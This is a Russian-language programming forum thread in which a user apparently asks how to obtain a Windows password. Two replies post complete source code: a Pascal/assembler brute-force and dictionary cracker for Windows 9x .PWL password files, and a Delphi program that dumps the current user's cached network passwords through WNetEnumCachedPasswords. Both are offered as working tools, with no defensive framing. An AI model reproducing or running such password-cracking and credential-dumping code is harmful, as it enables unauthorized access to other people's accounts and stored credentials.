![]() |
|
Модераторы: Poseidon, Snowy, bems, MetalFan |
![]()
|
|
| -Сергей- |
|
|||
|
Бывалый ![]() Профиль Группа: Участник Сообщений: 224 Регистрация: 2.8.2003 Где: Россия Репутация: нет Всего: 1 |
САБЖ
--------------------
Для утвердительного ответа достаточно лишь одного слова - "да". Все прочие слова придуманы, чтобы сказать "нет". |
|||
|
||||
| Sniper |
|
|||
|
Опытный ![]() ![]() Профиль Группа: Участник Сообщений: 511 Регистрация: 8.5.2002 Репутация: нет Всего: 2 |
Просто так его не прочитать! На то он и пароль! %-) Его можно только подбирать.
-------------------- "Я испытываю отвращение к системе, разработаннной для "пользователя", если в слове "пользователь" закодировано уничижительное значение "тупой и примитивный". Кен Томпсон, создатель Unix |
|||
|
||||
| GOS |
|
|||
|
Новичок Профиль Группа: Участник Сообщений: 37 Регистрация: 3.10.2003 Репутация: нет Всего: нет |
Но ведь были же программы подбора...
|
|||
|
||||
| neutrino |
|
|||
![]() Gothic soul ![]() ![]() ![]() ![]() Профиль Группа: Модератор Сообщений: 3041 Регистрация: 25.3.2002 Где: Верхняя Галилея, Кармиэль Репутация: нет Всего: 62 |
Program PWL;
(*-----------------------------------------------------------------*) (* Program Windows_Password_Library_Tool; *) (*-----------------------------------------------------------------*) (* © by Hard Wisdom *) (* Start coding: 19-Dec-1996y v1.0a *) (* Last changes: 20-Dec-1996y *) (*-----------------------------------------------------------------*) (*$M 16384,0,0*) (*$I-,R-*) Uses Crt; (*-----------------------------------------------------------------*) (* U T I L I T Y *) (*-----------------------------------------------------------------*) Function UpStr(S:String):String; Var I:Byte; Begin For I:=1 To Length(S) Do Begin Case S Of 'a'..'z':S[I]:=Chr(Ord(S[I])-$20); ' '..'Ї':S[I]:=Chr(Ord(S[I])-$20); 'а'..'п':S[I]:=Chr(Ord(S[I])-$50); End; End; UpStr:=S; End; [i](*-----------------------------------------------------------------*) Procedure Error(Er:Byte; S:String); Begin WriteLn('Error (',Er,'): ',S,'!'); Halt(Er); End; (*-----------------------------------------------------------------*) Function Timer:LongInt; Begin Inline($FA); Timer:=MemL[$40:$6C]; Inline($FB); End; (*-----------------------------------------------------------------*) (* P A S S W O R D T O O L S *) (*-----------------------------------------------------------------*) Const MaxData=20; Var Password:String; InData,OutData:Array[1..MaxData] Of Byte; PWL_Table:Array[0..255] Of Byte; PWL_Key:LongInt; DataLen:Word; (*-----------------------------------------------------------------*) Function TryPassword:Boolean;Assembler; Asm Mov Bx,Offset(Password) Mov Cl,[Bx] Inc Bx Xor Ax,Ax Xor Dx,Dx Or Cl,Cl (* Make hash from password *) Jz @@Stop_Hashing @@Again_Hashing: Add Al,[Bx] (* add symbol *) Adc Ah,0 Adc Dx,0 Mov Ch,7 @@Again_Roll7: Shl Ax,1 (* roll to left on 7 bits *) Rcl Dx,1 Adc Al,0 Dec Ch Jnz @@Again_Roll7 Inc Bx Dec Cl Jnz @@Again_Hashing Mov Ch,7 @@Again_Roll7_1: Shl Ax,1 (* roll to left again *) Rcl Dx,1 Adc Al,0 Dec Ch Jnz @@Again_Roll7_1 @@Stop_Hashing: Mov Word Ptr PWL_Key,Ax (* store hash *) Mov Word Ptr PWL_Key+2,Dx Cld Mov Di,Offset(PWL_Table) (* Make encryption table *) Xor Al,Al @@Init_PWL_Table: StosB (* init table *) Inc Al Jnz @@Init_PWL_Table Xor Bx,Bx Xor Si,Si Xor Di,Di @@Again_PWL_Table: Mov Ah,[Si+Offset(PWL_Table)] Add Bl,Ah (* calculate table *) Add Bl,[Di+Offset(PWL_Key)] Mov Al,[Bx+Offset(PWL_Table)] Mov [Bx+Offset(PWL_Table)],Ah Mov [Si+Offset(PWL_Table)],Al Inc Si Inc Di And Di,3 Cmp Si,$100 Jb @@Again_PWL_Table Xor Si,Si (* Check encryption *) Xor Di,Di Xor Bx,Bx @@Again_Check: Inc Si And Si,$FF Mov Al,[Si+Offset(PWL_Table)] Add Bl,Al Mov Ah,[Bx+Offset(PWL_Table)] Mov [Si+Offset(PWL_Table)],Ah Mov [Bx+Offset(PWL_Table)],Al Add Al,Ah Xor Ah,Ah Mov Dx,Bx Mov Bx,Ax Mov Al,[Bx+Offset(PWL_Table)] Mov Bx,Dx Mov Ah,[Di+Offset(InData)] Xor Ah,Al Cmp Ah,[Di+Offset(OutData)] Jne @@Bad (* fail on this password *) Inc Di Cmp Di,DataLen Jb @@Again_Check Mov Al,True (* Ok, success *) Jmp @@Done @@Bad: Mov Al,False @@Done: End; (*-----------------------------------------------------------------*) (* E X C E P T I O N *) (*-----------------------------------------------------------------*) Var CallStatistics:Boolean; Count,Count0,StartTime:LongInt; OldExit:Pointer; Procedure ProgramExit;Far; Var L,StopTime:LongInt; Begin ExitProc:=OldExit; StopTime:=Timer; If (ErrorAddr=Nil) And CallStatistics Then Begin WriteLn(#13'Total passwords trained: ',Count0, ' Legal passwords: ',Count); L:=StopTime-StartTime; If L=0 Then L:=1; L:=Count0 Div L; If L>110 Then L:=(L Div 55)*1000 Else L:=(L*1000) Div 55; WriteLn('Speed= ',L,' passwords per second.'); End; End; (*-----------------------------------------------------------------*) (* M A I N E N T R Y *) (*-----------------------------------------------------------------*) Const MaxPasswLen=64; Var PasswChars:String; PasswI:Array[0..255] Of Byte; Var S:String; F:File; T:Text; Buf:Array[0..16383] Of Byte; L,I:Byte; Begin OldExit:=ExitProc; ExitProc:=@ProgramExit; CallStatistics:=False; WriteLn('PWL Files fucker by NITRENE v1.0a'); WriteLn('==================[11.11.01]====='); If ParamCount=0 Then Begin WriteLn('Usage:'); WriteLn(' PWL.EXE User_Name PWL_File_Name - try passwords;'); WriteLn(' PWL.EXE User_Name PWL_File_Name Vocabulary_File_Name'); WriteLn(' - try passwords from vocabulary file.'); Exit; End; If (ParamCount<2) Or (ParamCount>3) Then Error(1,'Bad parameters'); Assign(T,'PWL.INI'); Reset(T); If IOResult<>0 Then Begin Rewrite(T); WriteLn(T,'ABCDEFGHIJKLMNOPQRSTUVWXYZ', '012345678','Ђ?‚ѓ„…†‡?‰Љ‹Њ?Ћ??‘’“”•–—?™љњ›?ћџ'); If IOResult<>0 Then Error(1,'Can''t create default INI file'); Close(T); Error(1,'Created default INI file, inspect and run again'); End Else Begin ReadLn(T,PasswChars); If IOResult<>0 Then Error(1,'Error reading INI file'); Close(T); PasswChars:=UpStr(PasswChars); End; If Length(PasswChars)<1 Then Error(1,'Too small chars list'); S:=UpStr(ParamStr(1)); (* give user name *) If Length(S)>MaxData Then S:=Copy(S,1,MaxData); DataLen:=Length(S); Move(S[1],InData,DataLen); S:=UpStr(ParamStr(2)); (* load PWL data *) Assign(F,S); Reset(F,1); If IOResult<>0 Then Error(1,'Opening PWL file failure'); Seek(F,$208); BlockRead(F,OutData,MaxData); If IOResult<>0 Then Error(1,'Reading PWL file failure'); Close(F); CallStatistics:=True; Count0:=0; Count:=0; StartTime:=Timer; If ParamCount=2 Then Begin WriteLn('Chars= "',PasswChars,'"'); Password:=''; If TryPassword Then Begin WriteLn('No password in this file, just press Enter for login.'); CallStatistics:=False; Exit; End; L:=1; While L<=MaxPasswLen Do Begin Password[L]:=PasswChars[1]; PasswI[L]:=1; Password[0]:=Char(L); Repeat Write(#13,Password); If TryPassword Then Begin WriteLn(' -Ok.'); Inc(Count); End; Inc(Count0); I:=1; While (I<=L) And (PasswI>=Length(PasswChars)) Do Begin PasswI[I]:=1; Password[I]:=PasswChars[1]; Inc(I); End; If I<=L Then Begin Inc(PasswI[I]); Password[I]:=PasswChars[PasswI[I]]; End; Until I>L; Inc(L); End; End Else Begin [i](* try vocabulary file *) S:=ParamStr(3); Assign(T,S); SetTextBuf(T,Buf); Reset(T); If IOResult<>0 Then Error(1,'Opening vocabulary failure'); While Not(Eof(T)) Do Begin ReadLn(T,S); If IOResult<>0 Then Error(1,'Reading vocabulary failure'); Password:=UpStr(S); Write(#13,Password); Inc(Count0); If TryPassword Then Begin WriteLn(' -Ok.'); Inc(Count); End; End; Close(T); End; End. -------------------- The truth comes from within ... Покойся с миром, Vit |
|||
|
||||
| Эмни |
|
|||
|
Unregistered |
{Password через WinAPI у текущего USER'a}
unit Unit1; interface uses Windows, SysUtils, Classes, Forms, ShellAPI, Controls, StdCtrls; type TForm1 = class(TForm) GroupBox1: TGroupBox; ListBox: TListBox; Label1: TLabel; Label2: TLabel; procedure Label1Click(Sender: TObject); procedure FormShow(Sender: TObject); private { Private declarations } public hMPR: THandle; end; var Form1: TForm1; const Count: Integer = 0; function WNetEnumCachedPasswords(lp: lpStr; w: Word; b: Byte; PC: PChar; dw: DWord): Word; stdcall; implementation {$R *.DFM} function WNetEnumCachedPasswords(lp: lpStr; w: Word; b: Byte; PC: PChar; dw: DWord): Word; external mpr name 'WNetEnumCachedPasswords'; type PWinPassword = ^TWinPassword; TWinPassword = record EntrySize: Word; ResourceSize: Word; PasswordSize: Word; EntryIndex: Byte; EntryType: Byte; PasswordC: Char; end; var WinPassword: TWinPassword; function AddPassword(WinPassword: PWinPassword; dw: DWord): LongBool; stdcall; var Password: String; PC: Array[0..$FF] of Char; begin inc(Count); Move(WinPassword.PasswordC, PC, WinPassword.ResourceSize); PC[WinPassword.ResourceSize] := #0; CharToOem(PC, PC); Password := StrPas(PC); Move(WinPassword.PasswordC, PC, WinPassword.PasswordSize + WinPassword.ResourceSize); Move(PC[WinPassword.ResourceSize], PC, WinPassword.PasswordSize); PC[WinPassword.PasswordSize] := #0; CharToOem(PC, PC); Password := Password + ': ' + StrPas(PC); Form1.ListBox.Items.Add(Password); Result := True; end; procedure TForm1.Label1Click(Sender: TObject); begin ShellExecute(GetDesktopWindow, 'open', 'http://www.angen.net/~xacker/', nil, nil, 0); end; procedure TForm1.FormShow(Sender: TObject); begin if WNetEnumCachedPasswords(nil, 0, $FF, @AddPassword, 0) <> 0 then begin Application.MessageBox('Can''t load passwords: User is not logon.', 'Error', mb_Ok or mb_IconWarning); Application.Terminate; end else if Count = 0 then ListBox.Items.Add('No passwords found...'); end; end. |
|||
|
||||
![]()
|
| Правила форума "Delphi: Общие вопросы" | |
|
|
Запрещается! 1. Публиковать ссылки на вскрытые компоненты 2. Обсуждать взлом компонентов и делиться вскрытыми компонентами
Если Вам понравилась атмосфера форума, заходите к нам чаще! С уважением, Snowy, MetalFan, bems, Poseidon, Rrader. |
| 0 Пользователей читают эту тему (0 Гостей и 0 Скрытых Пользователей) | |
| 0 Пользователей: | |
| « Предыдущая тема | Delphi: Общие вопросы | Следующая тема » |
|
|
По вопросам размещения рекламы пишите на vladimir(sobaka)vingrad.ru
Отказ от ответственности Powered by Invision Power Board(R) 1.3 © 2003 IPS, Inc. |